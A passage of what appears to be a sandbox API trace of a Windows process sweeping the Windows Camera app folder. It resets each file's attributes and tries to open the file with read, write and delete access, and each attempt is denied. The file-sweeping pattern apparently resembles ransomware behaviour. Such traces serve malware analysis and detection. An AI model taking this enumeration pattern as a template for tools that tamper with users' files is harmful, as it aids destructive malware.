	[0090.337] wcscpy (in: _Dest=0x2d88518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.337] wcscat (in: _Dest=0x2d88518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.337] wcscat (in: _Dest=0x2d88518, _Source="WindowsCameraSplashScreen.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-125.png"
	[0090.337] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.scale-125.png")) returned 0x20
	[0090.337] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.337] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.337] GetLastError () returned 0x5
	[0090.337] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88518) returned 1
	[0090.337] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925289b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x925289b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.337] wcscmp (_String1="WindowsCameraWideTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.337] wcscmp (_String1="WindowsCameraWideTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x160) returned 0x2e34470
	[0090.337] wcscpy (in: _Dest=0x2e34470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.337] wcscat (in: _Dest=0x2e34470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.337] wcscat (in: _Dest=0x2e34470, _Source="WindowsCameraWideTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-125.png"
	[0090.338] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-black_scale-125.png")) returned 0x20
	[0090.344] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.344] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.344] GetLastError () returned 0x5
	[0090.344] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34470) returned 1
	[0090.344] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925289b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x925289b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.344] wcscmp (_String1="WindowsCameraWideTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.344] wcscmp (_String1="WindowsCameraWideTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x160) returned 0x2e33930
	[0090.344] wcscpy (in: _Dest=0x2e33930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.344] wcscat (in: _Dest=0x2e33930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.344] wcscat (in: _Dest=0x2e33930, _Source="WindowsCameraWideTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-125.png"
	[0090.345] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-white_scale-125.png")) returned 0x20
	[0090.345] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.345] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.345] GetLastError () returned 0x5
	[0090.345] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33930) returned 1
	[0090.345] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925289b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x925289b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.scale-125.png", cAlternateFileName="")) returned 1
	[0090.345] wcscmp (_String1="WindowsCameraWideTile.scale-125.png", _String2=".") returned 1
	[0090.345] wcscmp (_String1="WindowsCameraWideTile.scale-125.png", _String2="..") returned 1
	[0090.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e348d8
	[0090.345] wcscpy (in: _Dest=0x2e348d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.345] wcscat (in: _Dest=0x2e348d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.345] wcscat (in: _Dest=0x2e348d8, _Source="WindowsCameraWideTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-125.png"
	[0090.345] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.scale-125.png")) returned 0x20
	[0090.345] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.345] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.346] GetLastError () returned 0x5
	[0090.346] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348d8) returned 1
	[0090.346] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925289b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x925289b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.scale-125.png", cAlternateFileName="")) returned 0
	[0090.346] FindClose (in: hFindFile=0x477a968 | out: hFindFile=0x477a968) returned 1
	[0090.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0090.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0090.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5027f00) returned 1
	[0090.347] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb18b5b34, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsIcons", cAlternateFileName="WINDOW~1")) returned 0
	[0090.347] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0090.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e708) returned 1
	[0090.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fcec30) returned 1
	[0090.347] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.347] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.347] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x116) returned 0x4771990
	[0090.347] wcscpy (in: _Dest=0x4771990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.347] wcscat (in: _Dest=0x4771990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.347] wcscat (in: _Dest=0x4771990, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2e348d8
	[0090.347] wcscpy (in: _Dest=0x2e348d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.347] wcscat (in: _Dest=0x2e348d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.347] wcscat (in: _Dest=0x2e348d8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.348] wcscmp (_String1=".", _String2=".") returned 0
	[0090.348] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.348] wcscmp (_String1="..", _String2=".") returned 1
	[0090.348] wcscmp (_String1="..", _String2="..") returned 0
	[0090.348] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.348] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348d8) returned 1
	[0090.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771990) returned 1
	[0090.348] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x927b7364, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x929390bc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x929390bc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.348] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.348] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491c9a8
	[0090.348] wcscpy (in: _Dest=0x491c9a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.348] wcscat (in: _Dest=0x491c9a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.348] wcscat (in: _Dest=0x491c9a8, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri"
	[0090.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0090.351] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0090.351] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.351] GetLastError () returned 0x5
	[0090.351] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0090.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c9a8) returned 1
	[0090.351] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x927b7364, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x929390bc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x929390bc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0090.351] FindClose (in: hFindFile=0x46a80d8 | out: hFindFile=0x46a80d8) returned 1
	[0090.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aa00) returned 1
	[0090.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773550) returned 1
	[0090.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e8f0) returned 1

Thread:
	id = 1031
	os_tid = 0x1c8c

	[0082.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4773630
